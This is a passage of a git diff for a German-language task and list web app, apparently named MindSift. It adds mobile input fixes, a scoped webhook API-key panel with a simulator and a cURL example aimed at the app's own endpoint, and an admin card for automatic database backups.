</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div className="flex items-center justify-end gap-2 pt-2 border-t border-border">
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
onClick={() => setShowNewListModal(false)}
|
|
||||||
className="btn-action h-7 px-3 text-xs"
|
|
||||||
>
|
|
||||||
Abbrechen
|
|
||||||
</button>
|
|
||||||
<button type="submit" className="btn-primary h-7 px-3 text-xs">
|
|
||||||
Erstellen
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</form>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Active Shared List View */}
|
{/* Active Shared List View */}
|
||||||
@@ -1065,7 +1081,8 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
setTimeout(() => setShowSuggestions(false), 200);
|
setTimeout(() => setShowSuggestions(false), 200);
|
||||||
}}
|
}}
|
||||||
placeholder={`Eintrag zu "${activeList.title}" hinzufügen (z. B. Hafermilch #Kühlregal)…`}
|
placeholder={`Eintrag zu "${activeList.title}" hinzufügen (z. B. Hafermilch #Kühlregal)…`}
|
||||||
className="flex-1 bg-transparent py-1.5 sm:py-1 text-sm text-main placeholder-faint focus:outline-none"
|
// 16px on phones: iOS zooms into smaller fields and the layout jumps under the keyboard
|
||||||
|
className="flex-1 bg-transparent py-1.5 sm:py-1 text-base sm:text-sm text-main placeholder-faint focus:outline-none"
|
||||||
/>
|
/>
|
||||||
|
|
||||||
{/* Hashtag Autocomplete Suggestions Dropdown */}
|
{/* Hashtag Autocomplete Suggestions Dropdown */}
|
||||||
@@ -1106,10 +1123,11 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
<div className="flex items-center gap-1.5 w-full sm:w-auto justify-end px-1 sm:px-0">
|
<div className="flex items-center gap-1.5 w-full sm:w-auto justify-end px-1 sm:px-0">
|
||||||
<input
|
<input
|
||||||
type="text"
|
type="text"
|
||||||
|
inputMode="decimal"
|
||||||
value={newItemQty}
|
value={newItemQty}
|
||||||
onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))}
|
onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))}
|
||||||
placeholder="Menge (z.B. 2)"
|
placeholder="Menge (z.B. 2)"
|
||||||
className="flex-1 sm:flex-none sm:w-28 h-9 sm:h-7 px-2.5 sm:px-2 input-field text-xs"
|
className="flex-1 sm:flex-none sm:w-28 h-11 sm:h-7 px-2.5 sm:px-2 input-field text-base sm:text-xs"
|
||||||
/>
|
/>
|
||||||
<button
|
<button
|
||||||
type="submit"
|
type="submit"
|
||||||
@@ -1236,7 +1254,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
onBlur={async () => {
|
onBlur={async () => {
|
||||||
await handleSaveQuantity(item.id, editingQtyValue);
|
await handleSaveQuantity(item.id, editingQtyValue);
|
||||||
}}
|
}}
|
||||||
className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
|
className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
|
||||||
placeholder="Menge"
|
placeholder="Menge"
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
@@ -1266,6 +1284,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{renderItemAuthor(item)}
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
draggable={false}
|
draggable={false}
|
||||||
@@ -1349,7 +1368,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
onBlur={async () => {
|
onBlur={async () => {
|
||||||
await handleSaveQuantity(item.id, editingQtyValue);
|
await handleSaveQuantity(item.id, editingQtyValue);
|
||||||
}}
|
}}
|
||||||
className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
|
className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
|
||||||
placeholder="Menge"
|
placeholder="Menge"
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
@@ -1374,6 +1393,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
|
{renderItemAuthor(item)}
|
||||||
{item.completedByName && (
|
{item.completedByName && (
|
||||||
<span className="text-xs text-faint">✓ {item.completedByName}</span>
|
<span className="text-xs text-faint">✓ {item.completedByName}</span>
|
||||||
)}
|
)}
|
||||||
|
|||||||
@@ -0,0 +1,380 @@
|
|||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
import {
|
||||||
|
Key,
|
||||||
|
Plus,
|
||||||
|
Trash2,
|
||||||
|
Copy,
|
||||||
|
Check,
|
||||||
|
Webhook,
|
||||||
|
Zap,
|
||||||
|
Terminal,
|
||||||
|
} from 'lucide-react';
|
||||||
|
import { APIKey, ApiKeyScope, PriorityLevel, SharedList, TaskList } from '../../lib/types';
|
||||||
|
import { api, triggerHaptic } from '../../lib/api';
|
||||||
|
|
||||||
|
interface ApiKeysPanelProps {
|
||||||
|
onIngested?: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
// What a key may deliver; keys never read anything
|
||||||
|
const SCOPES: { id: ApiKeyScope; label: string; hint: string }[] = [
|
||||||
|
{ id: 'webhook:triage', label: '📥 Triage / Inbox', hint: 'Gedanken in die Inbox' },
|
||||||
|
{ id: 'webhook:task', label: '📋 Aufgaben', hint: 'Aufgaben direkt anlegen' },
|
||||||
|
{ id: 'webhook:list', label: '📝 Listeneinträge', hint: 'Einträge zu Listen hinzufügen' },
|
||||||
|
];
|
||||||
|
const scopeLabel = (id: string) => SCOPES.find((s) => s.id === id)?.label || id;
|
||||||
|
|
||||||
|
type SimTarget = 'triage' | 'task' | 'list_item';
|
||||||
|
|
||||||
|
// Personal API keys with scopes, a simulator and copyable examples (settings → Private Webhooks)
|
||||||
|
export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
|
||||||
|
const [keys, setKeys] = useState<APIKey[]>([]);
|
||||||
|
const [newKeyName, setNewKeyName] = useState('');
|
||||||
|
const [newKeyScopes, setNewKeyScopes] = useState<ApiKeyScope[]>(['webhook:triage']);
|
||||||
|
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
|
||||||
|
const [copiedKey, setCopiedKey] = useState(false);
|
||||||
|
|
||||||
|
// Live Webhook Simulator State
|
||||||
|
const [simTitle, setSimTitle] = useState('Waschmaschine im Keller ist fertig!');
|
||||||
|
const [simPriority, setSimPriority] = useState<PriorityLevel>('high');
|
||||||
|
const [simTarget, setSimTarget] = useState<SimTarget>('triage');
|
||||||
|
const [simListId, setSimListId] = useState('');
|
||||||
|
const [simTaskListId, setSimTaskListId] = useState('');
|
||||||
|
const [simStatus, setSimStatus] = useState<string | null>(null);
|
||||||
|
const [lists, setLists] = useState<SharedList[]>([]);
|
||||||
|
const [taskLists, setTaskLists] = useState<TaskList[]>([]);
|
||||||
|
|
||||||
|
const loadKeys = async () => {
|
||||||
|
const k = await api.getAPIKeys();
|
||||||
|
setKeys(k);
|
||||||
|
};
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
loadKeys();
|
||||||
|
api.getAllLists().then(setLists).catch(() => {});
|
||||||
|
api.getTaskLists().then(setTaskLists).catch(() => {});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const toggleScope = (id: ApiKeyScope) => {
|
||||||
|
setNewKeyScopes((prev) => {
|
||||||
|
const next = prev.includes(id) ? prev.filter((s) => s !== id) : [...prev, id];
|
||||||
|
return next.length > 0 ? next : prev; // at least one
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleCreateKey = async (e: React.FormEvent) => {
|
||||||
|
e.preventDefault();
|
||||||
|
triggerHaptic(15);
|
||||||
|
const created = await api.createAPIKey(newKeyName.trim() || 'Home Assistant', newKeyScopes);
|
||||||
|
if (created.rawKey) {
|
||||||
|
setNewlyCreatedKey(created.rawKey);
|
||||||
|
}
|
||||||
|
setNewKeyName('');
|
||||||
|
setNewKeyScopes(['webhook:triage']);
|
||||||
|
await loadKeys();
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleDeleteKey = async (id: string) => {
|
||||||
|
if (!window.confirm('Diesen API-Schlüssel wirklich widerrufen?')) return;
|
||||||
|
triggerHaptic(20);
|
||||||
|
await api.deleteAPIKey(id);
|
||||||
|
await loadKeys();
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleCopy = (text: string) => {
|
||||||
|
navigator.clipboard.writeText(text);
|
||||||
|
setCopiedKey(true);
|
||||||
|
setTimeout(() => setCopiedKey(false), 2000);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleSimulateWebhook = async () => {
|
||||||
|
triggerHaptic(20);
|
||||||
|
if (simTarget === 'list_item' && !simListId) {
|
||||||
|
setSimStatus('❌ Bitte eine Liste wählen.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
// With a freshly created key the simulator tests exactly that key (and its scopes)
|
||||||
|
await api.testWebhookIngest(newlyCreatedKey, {
|
||||||
|
title: simTitle,
|
||||||
|
priority: simPriority,
|
||||||
|
tags: simTarget === 'list_item' ? [] : ['smarthome', 'automation'],
|
||||||
|
target: simTarget,
|
||||||
|
taskListId: simTarget === 'task' ? simTaskListId || undefined : undefined,
|
||||||
|
listId: simTarget === 'list_item' ? simListId : undefined,
|
||||||
|
});
|
||||||
|
setSimStatus(
|
||||||
|
simTarget === 'task'
|
||||||
|
? '✅ Webhook erfolgreich ausgelöst! Die Aufgabe ist angelegt.'
|
||||||
|
: simTarget === 'list_item'
|
||||||
|
? '✅ Webhook erfolgreich ausgelöst! Der Eintrag steht in der Liste.'
|
||||||
|
: '✅ Webhook erfolgreich ausgelöst! Neue Karte liegt in deiner Inbox.'
|
||||||
|
);
|
||||||
|
onIngested?.();
|
||||||
|
setTimeout(() => setSimStatus(null), 4000);
|
||||||
|
} catch (err: any) {
|
||||||
|
setSimStatus(`❌ Fehler: ${err.message}`);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const exampleToken = newlyCreatedKey || 'mindsift_sec_dein_api_key';
|
||||||
|
const baseUrl = window.location.origin;
|
||||||
|
const examplePayload =
|
||||||
|
simTarget === 'task'
|
||||||
|
? `{
|
||||||
|
"target": "task",
|
||||||
|
"title": "Filter der Lüftungsanlage wechseln",
|
||||||
|
"priority": "high",
|
||||||
|
"dueDate": "2026-11-15T09:00"${simTaskListId ? `,\n "taskListId": "${simTaskListId}"` : ''}
|
||||||
|
}`
|
||||||
|
: simTarget === 'list_item'
|
||||||
|
? `{
|
||||||
|
"target": "list_item",
|
||||||
|
"listId": "${simListId || 'ID_DER_LISTE'}",
|
||||||
|
"content": "Hafermilch",
|
||||||
|
"quantity": "2"
|
||||||
|
}`
|
||||||
|
: `{
|
||||||
|
"title": "Kellerfeuchtigkeit über 70%",
|
||||||
|
"priority": "urgent",
|
||||||
|
"tags": ["smarthome", "keller"]
|
||||||
|
}`;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="space-y-6">
|
||||||
|
{/* API keys */}
|
||||||
|
<div>
|
||||||
|
<div className="flex items-center gap-3 mb-2">
|
||||||
|
<div className="w-8 h-8 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
|
||||||
|
<Key className="w-4 h-4" />
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<h3 className="text-sm font-bold text-main">Webhooks & Ingestion API-Schlüssel</h3>
|
||||||
|
<p className="text-xs text-muted">
|
||||||
|
Verbinde Home Assistant, Zigbee2MQTT, n8n oder eigene Cronjobs mit MindSift. Ein Key kann nur Daten
|
||||||
|
einliefern, nie lesen; was genau, legst du pro Key fest.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<form onSubmit={handleCreateKey} className="mt-3 space-y-2">
|
||||||
|
<div className="flex flex-col sm:flex-row gap-2">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
value={newKeyName}
|
||||||
|
onChange={(e) => setNewKeyName(e.target.value)}
|
||||||
|
placeholder="Bezeichnung (z. B. Home Assistant, Proxmox Backup, Rauchmelder)…"
|
||||||
|
className="w-full sm:flex-1 min-w-0 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
|
||||||
|
/>
|
||||||
|
<button type="submit" className="btn-primary h-11 sm:h-9 px-4 text-sm flex items-center justify-center gap-1.5">
|
||||||
|
<Plus className="w-4 h-4" />
|
||||||
|
<span>API-Key erzeugen</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div className="flex flex-wrap items-center gap-2" role="group" aria-label="Berechtigungen des Keys">
|
||||||
|
<span className="text-xs text-muted">Darf einliefern:</span>
|
||||||
|
{SCOPES.map((sc) => {
|
||||||
|
const on = newKeyScopes.includes(sc.id);
|
||||||
|
return (
|
||||||
|
<button
|
||||||
|
key={sc.id}
|
||||||
|
type="button"
|
||||||
|
role="checkbox"
|
||||||
|
aria-checked={on}
|
||||||
|
title={sc.hint}
|
||||||
|
onClick={() => toggleScope(sc.id)}
|
||||||
|
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs inline-flex items-center gap-1.5 transition-colors ${
|
||||||
|
on ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{on && <Check className="w-3.5 h-3.5 text-accent" />}
|
||||||
|
{sc.label}
|
||||||
|
</button>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
{newlyCreatedKey && (
|
||||||
|
<div className="mt-3 p-3 bg-accent/15 border border-accent/30 flex flex-wrap items-center justify-between gap-3">
|
||||||
|
<div className="min-w-0">
|
||||||
|
<p className="text-xs font-semibold text-accent mb-1">Neuer API-Schlüssel erstellt (bitte jetzt kopieren):</p>
|
||||||
|
<code className="text-xs sm:text-sm font-mono text-main break-all">{newlyCreatedKey}</code>
|
||||||
|
</div>
|
||||||
|
<button onClick={() => handleCopy(newlyCreatedKey)} className="btn-primary h-8 px-3 text-xs">
|
||||||
|
{copiedKey ? <Check className="w-3.5 h-3.5" /> : <Copy className="w-3.5 h-3.5" />}
|
||||||
|
<span>{copiedKey ? 'Kopiert!' : 'Key kopieren'}</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Active Keys List */}
|
||||||
|
<div className="mt-3 border border-border divide-y divide-border">
|
||||||
|
{keys.length === 0 ? (
|
||||||
|
<p className="text-xs text-faint px-3 py-2">Noch keine dedizierten API-Schlüssel hinterlegt.</p>
|
||||||
|
) : (
|
||||||
|
keys.map((k) => (
|
||||||
|
<div key={k.id} className="px-3 py-2 bg-canvas flex items-center justify-between gap-3">
|
||||||
|
<div className="min-w-0 flex flex-wrap items-center gap-x-3 gap-y-1">
|
||||||
|
<span className="text-sm font-medium text-main">{k.name}</span>
|
||||||
|
<span className="text-xs font-mono text-accent">{k.keyPrefix}</span>
|
||||||
|
{k.scopes
|
||||||
|
.split(',')
|
||||||
|
.filter(Boolean)
|
||||||
|
.map((sc) => (
|
||||||
|
<span key={sc} className="px-1.5 py-0.5 rounded-btn border border-border text-[10px] text-muted">
|
||||||
|
{scopeLabel(sc)}
|
||||||
|
</span>
|
||||||
|
))}
|
||||||
|
{k.lastUsedAt && (
|
||||||
|
<span className="text-xs text-faint">
|
||||||
|
Zuletzt genutzt: {new Date(k.lastUsedAt).toLocaleDateString('de-DE')}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
onClick={() => handleDeleteKey(k.id)}
|
||||||
|
className="btn-icon btn-icon-danger w-7 h-7 shrink-0"
|
||||||
|
aria-label={`API-Key ${k.name} löschen`}
|
||||||
|
>
|
||||||
|
<Trash2 className="w-3.5 h-3.5" />
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
))
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Simulator */}
|
||||||
|
<div className="pt-4 border-t border-border">
|
||||||
|
<div className="flex items-center gap-3 mb-3">
|
||||||
|
<div className="w-7 h-7 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
|
||||||
|
<Webhook className="w-4 h-4" />
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<h3 className="text-sm font-bold text-main">Live Smarthome Webhook-Simulator</h3>
|
||||||
|
<p className="text-xs text-muted">
|
||||||
|
Teste den Webhook-Endpunkt direkt hier
|
||||||
|
{newlyCreatedKey ? ' – mit dem eben erzeugten Key und seinen Berechtigungen.' : ' – mit deiner Anmeldung.'}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="flex flex-wrap gap-1.5 mb-3" role="radiogroup" aria-label="Ziel">
|
||||||
|
{(
|
||||||
|
[
|
||||||
|
['triage', '📥 Inbox'],
|
||||||
|
['task', '📋 Aufgabe'],
|
||||||
|
['list_item', '📝 Listeneintrag'],
|
||||||
|
] as const
|
||||||
|
).map(([value, label]) => (
|
||||||
|
<button
|
||||||
|
key={value}
|
||||||
|
type="button"
|
||||||
|
role="radio"
|
||||||
|
aria-checked={simTarget === value}
|
||||||
|
onClick={() => setSimTarget(value)}
|
||||||
|
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs transition-colors ${
|
||||||
|
simTarget === value ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{label}
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
{simTarget === 'list_item' && (
|
||||||
|
<select
|
||||||
|
value={simListId}
|
||||||
|
onChange={(e) => setSimListId(e.target.value)}
|
||||||
|
className="h-11 sm:h-8 px-2 input-field text-base sm:text-xs bg-panel"
|
||||||
|
aria-label="Liste"
|
||||||
|
>
|
||||||
|
<option value="">Liste wählen…</option>
|
||||||
|
{lists.map((l) => (
|
||||||
|
<option key={l.id} value={l.id}>
|
||||||
|
{l.icon} {l.title}
|
||||||
|
</option>
|
||||||
|
))}
|
||||||
|
</select>
|
||||||
|
)}
|
||||||
|
{simTarget === 'task' && (
|
||||||
|
<select
|
||||||
|
value={simTaskListId}
|
||||||
|
onChange={(e) => setSimTaskListId(e.target.value)}
|
||||||
|
className="h-11 sm:h-8 px-2 input-field text-base sm:text-xs bg-panel"
|
||||||
|
aria-label="Aufgabenliste"
|
||||||
|
>
|
||||||
|
<option value="">Ohne Aufgabenliste</option>
|
||||||
|
{taskLists.map((tl) => (
|
||||||
|
<option key={tl.id} value={tl.id}>
|
||||||
|
{tl.icon} {tl.title}
|
||||||
|
</option>
|
||||||
|
))}
|
||||||
|
</select>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{simTarget === 'triage' && (
|
||||||
|
<div className="flex flex-wrap gap-1.5 mb-3">
|
||||||
|
{[
|
||||||
|
{ label: '🧺 Waschmaschine fertig', text: 'Waschmaschine im Keller ist fertig – Wäsche aufhängen!', prio: 'high' as PriorityLevel },
|
||||||
|
{ label: '🚨 Rauchmelder Batterie', text: 'Rauchmelder Dachgeschoss meldet niedrige Batterie (12%)', prio: 'urgent' as PriorityLevel },
|
||||||
|
{ label: '💧 Luftfeuchtigkeit Keller', text: 'Kellerfeuchtigkeit über 70% – Lüften oder Entfeuchter starten', prio: 'urgent' as PriorityLevel },
|
||||||
|
].map((preset) => (
|
||||||
|
<button
|
||||||
|
key={preset.label}
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
setSimTitle(preset.text);
|
||||||
|
setSimPriority(preset.prio);
|
||||||
|
}}
|
||||||
|
className="btn-action text-xs"
|
||||||
|
>
|
||||||
|
{preset.label}
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<div className="flex flex-col sm:flex-row gap-2">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
value={simTitle}
|
||||||
|
onChange={(e) => setSimTitle(e.target.value)}
|
||||||
|
className="flex-1 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
|
||||||
|
/>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={handleSimulateWebhook}
|
||||||
|
className="btn-primary h-11 sm:h-9 px-4 text-xs sm:text-sm flex items-center justify-center gap-1.5"
|
||||||
|
>
|
||||||
|
<Zap className="w-4 h-4" />
|
||||||
|
<span>Webhook jetzt abfeuern</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{simStatus && (
|
||||||
|
<p className={`mt-3 text-xs font-medium ${simStatus.startsWith('❌') ? 'text-status-err' : 'text-status-ok'}`}>{simStatus}</p>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Code Example Snippets */}
|
||||||
|
<div className="mt-4 space-y-2">
|
||||||
|
<div className="flex items-center gap-2 text-xs font-medium text-muted">
|
||||||
|
<Terminal className="w-3.5 h-3.5 text-accent" />
|
||||||
|
<span>cURL / Home Assistant REST Command:</span>
|
||||||
|
</div>
|
||||||
|
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-main overflow-x-auto">
|
||||||
|
{`curl -X POST "${baseUrl}/api/v1/webhooks/ingest" \\
|
||||||
|
-H "X-API-Key: ${exampleToken}" \\
|
||||||
|
-H "Content-Type: application/json" \\
|
||||||
|
-d '${examplePayload}'`}
|
||||||
|
</pre>
|
||||||
|
<p className="text-[11px] text-faint">
|
||||||
|
Der Key gehört in den Header <code className="font-mono">X-API-Key</code>, nicht in die URL, damit er nicht in
|
||||||
|
Proxy-Logs landet. Fehlt dem Key die Berechtigung für das Ziel, antwortet der Server mit 403.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,131 @@
|
|||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
import { Archive, Download, Loader2 } from 'lucide-react';
|
||||||
|
import { BackupFile, SystemSettings } from '../../lib/types';
|
||||||
|
import { api } from '../../lib/api';
|
||||||
|
import { ToggleSwitch } from '../../components/ToggleSwitch';
|
||||||
|
import { formatBytes, saveBlob } from '../../lib/download';
|
||||||
|
|
||||||
|
interface BackupAdminCardProps {
|
||||||
|
settings: SystemSettings;
|
||||||
|
onSave: (patch: Partial<SystemSettings>) => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Admin: automatic daily backups (whole database + one backup per user), list and manual run
|
||||||
|
export const BackupAdminCard: React.FC<BackupAdminCardProps> = ({ settings, onSave }) => {
|
||||||
|
const [files, setFiles] = useState<BackupFile[]>([]);
|
||||||
|
const [running, setRunning] = useState(false);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
api.adminListBackups().then(setFiles).catch(() => {});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const runNow = async () => {
|
||||||
|
setRunning(true);
|
||||||
|
setError(null);
|
||||||
|
try {
|
||||||
|
setFiles(await api.adminRunBackup());
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Backup fehlgeschlagen');
|
||||||
|
api.adminListBackups().then(setFiles).catch(() => {});
|
||||||
|
} finally {
|
||||||
|
setRunning(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const download = async (name: string) => {
|
||||||
|
try {
|
||||||
|
saveBlob(await api.adminDownloadBackup(name), name);
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Download fehlgeschlagen');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
|
||||||
|
<div className="flex items-center justify-between gap-4">
|
||||||
|
<div className="pr-4">
|
||||||
|
<p className="font-bold text-main flex items-center gap-1.5">
|
||||||
|
<Archive className="w-3.5 h-3.5 text-accent" />
|
||||||
|
Automatische Backups
|
||||||
|
</p>
|
||||||
|
<p className="text-[11px] text-muted mt-0.5">
|
||||||
|
Täglich ein Abzug der ganzen Datenbank und ein Backup je Benutzer unter <code className="font-mono">backups/</code> im
|
||||||
|
Datenverzeichnis. Das schützt vor Fehlbedienung, nicht vor einer kaputten Platte: den Ordner zusätzlich woanders sichern.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<ToggleSwitch
|
||||||
|
checked={Boolean(settings.backupEnabled)}
|
||||||
|
onChange={(backupEnabled) => onSave({ backupEnabled })}
|
||||||
|
title={settings.backupEnabled ? 'Automatische Backups ausschalten' : 'Automatische Backups einschalten'}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="flex flex-wrap items-end gap-3">
|
||||||
|
<label className="text-[11px] text-muted">
|
||||||
|
Uhrzeit
|
||||||
|
<input
|
||||||
|
type="time"
|
||||||
|
value={settings.backupTime || '03:00'}
|
||||||
|
onChange={(e) => e.target.value && onSave({ backupTime: e.target.value })}
|
||||||
|
className="block mt-1 h-11 sm:h-8 px-2 input-field text-base sm:text-xs w-28"
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
<label className="text-[11px] text-muted">
|
||||||
|
Aufbewahren (Tage)
|
||||||
|
<input
|
||||||
|
type="number"
|
||||||
|
min={1}
|
||||||
|
max={365}
|
||||||
|
value={settings.backupRetentionDays || 3}
|
||||||
|
onChange={(e) => {
|
||||||
|
const n = parseInt(e.target.value, 10);
|
||||||
|
if (n >= 1 && n <= 365) onSave({ backupRetentionDays: n });
|
||||||
|
}}
|
||||||
|
className="block mt-1 h-11 sm:h-8 px-2 input-field text-base sm:text-xs w-24"
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={runNow}
|
||||||
|
disabled={running}
|
||||||
|
className="btn-action h-11 sm:h-8 px-3 text-xs inline-flex items-center gap-1.5 disabled:opacity-50"
|
||||||
|
>
|
||||||
|
{running ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Archive className="w-3.5 h-3.5 text-accent" />}
|
||||||
|
{running ? 'Sichere…' : 'Jetzt sichern'}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
{error && <p className="text-[11px] text-status-err">{error}</p>}
|
||||||
|
|
||||||
|
<div className="border border-border divide-y divide-border bg-panel">
|
||||||
|
{files.length === 0 ? (
|
||||||
|
<p className="p-3 text-[11px] text-faint">Noch keine Server-Backups vorhanden.</p>
|
||||||
|
) : (
|
||||||
|
files.map((f) => (
|
||||||
|
<div key={f.name} className="px-3 py-2 flex items-center justify-between gap-3">
|
||||||
|
<div className="min-w-0">
|
||||||
|
<p className="text-xs font-mono text-main truncate">{f.name}</p>
|
||||||
|
<p className="text-[11px] text-faint">
|
||||||
|
{new Date(f.createdAt).toLocaleString('de-DE')} · {formatBytes(f.size)}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => download(f.name)}
|
||||||
|
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1 shrink-0"
|
||||||
|
>
|
||||||
|
<Download className="w-3.5 h-3.5" />
|
||||||
|
Download
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
))
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<p className="text-[11px] text-faint">
|
||||||
|
Zurückspielen eines Datenbank-Abzugs: Container stoppen, <code className="font-mono">mindsift.db</code> durch die entpackte Datei
|
||||||
|
ersetzen (<code className="font-mono">gunzip</code>), Container starten. Einzelne Benutzer stellen ihre Daten selbst in den
|
||||||
|
Kontoeinstellungen wieder her.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -1,283 +0,0 @@
|
|||||||
import React, { useEffect, useState } from 'react';
|
|
||||||
import {
|
|
||||||
Key,
|
|
||||||
Plus,
|
|
||||||
Trash2,
|
|
||||||
Copy,
|
|
||||||
Check,
|
|
||||||
Webhook,
|
|
||||||
Download,
|
|
||||||
ShieldCheck,
|
|
||||||
Zap,
|
|
||||||
Terminal,
|
|
||||||
} from 'lucide-react';
|
|
||||||
import { APIKey, PriorityLevel } from '../../lib/types';
|
|
||||||
import { api, getToken, triggerHaptic } from '../../lib/api';
|
|
||||||
|
|
||||||
interface EcosystemViewProps {
|
|
||||||
onIngested: () => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const EcosystemView: React.FC<EcosystemViewProps> = ({ onIngested }) => {
|
|
||||||
const [keys, setKeys] = useState<APIKey[]>([]);
|
|
||||||
const [newKeyName, setNewKeyName] = useState('');
|
|
||||||
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
|
|
||||||
const [copiedKey, setCopiedKey] = useState(false);
|
|
||||||
|
|
||||||
// Live Webhook Simulator State
|
|
||||||
const [simTitle, setSimTitle] = useState('Waschmaschine im Keller ist fertig!');
|
|
||||||
const [simPriority, setSimPriority] = useState<PriorityLevel>('high');
|
|
||||||
const [simStatus, setSimStatus] = useState<string | null>(null);
|
|
||||||
|
|
||||||
const loadKeys = async () => {
|
|
||||||
